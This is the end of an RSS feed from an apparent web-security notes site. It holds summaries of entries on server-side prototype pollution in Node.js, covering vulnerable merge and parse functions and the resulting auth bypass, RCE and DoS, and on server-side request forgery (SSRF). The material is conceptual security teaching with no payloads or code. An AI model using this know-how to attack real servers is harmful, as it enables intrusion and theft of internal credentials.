&lt;p&gt;Same root cause as client-side (see 55_ProtoPollution_Client.md) but exploited in &lt;strong&gt;Node.js server processes&lt;/strong&gt;. When user-controlled JSON/query data reaches &lt;code&gt;_.merge&lt;/code&gt;, &lt;code&gt;qs.parse&lt;/code&gt;, &lt;code&gt;lodash.set&lt;/code&gt;, or similar functions on the server, polluting &lt;code&gt;Object.prototype&lt;/code&gt; can:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bypass authentication&lt;/strong&gt; (add &lt;code&gt;isAdmin: true&lt;/code&gt; to all objects)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RCE&lt;/strong&gt; via gadget chains in template engines, child_process, spawn, or &lt;code&gt;env&lt;/code&gt; variables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crash the server&lt;/strong&gt; (DoS via &lt;code&gt;toString&lt;/code&gt; or &lt;code&gt;constructor&lt;/code&gt; overwrite)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Unlike client-side, impact persists &lt;strong&gt;across all user sessions&lt;/strong&gt; until server restarts — one successful attack affects all users.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Server-Side Request Forgery (SSRF)</title>
      <link>https://az0th.it/web/server/070-server-ssrf/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/server/070-server-ssrf/</guid>
      <description>&lt;h1 id=&#34;server-side-request-forgery-ssrf&#34;&gt;Server-Side Request Forgery (SSRF)&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical
&lt;strong&gt;CWE&lt;/strong&gt;: CWE-918
&lt;strong&gt;OWASP&lt;/strong&gt;: A10:2021 – Server-Side Request Forgery
&lt;strong&gt;PortSwigger Rank&lt;/strong&gt;: Top-tier, dedicated learning path&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;what-is-ssrf&#34;&gt;What Is SSRF?&lt;/h2&gt;
&lt;p&gt;Server-Side Request Forgery (SSRF) occurs when an attacker can make the &lt;strong&gt;server issue HTTP (or other protocol) requests to an arbitrary destination&lt;/strong&gt; — whether internal services, cloud metadata endpoints, or external infrastructure — on the attacker&amp;rsquo;s behalf.&lt;/p&gt;
&lt;p&gt;The danger lies in what the server &lt;em&gt;already has access to&lt;/em&gt;: internal APIs, admin interfaces, cloud IAM credentials, databases, microservices behind firewalls. The server trusts itself; SSRF abuses that trust.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
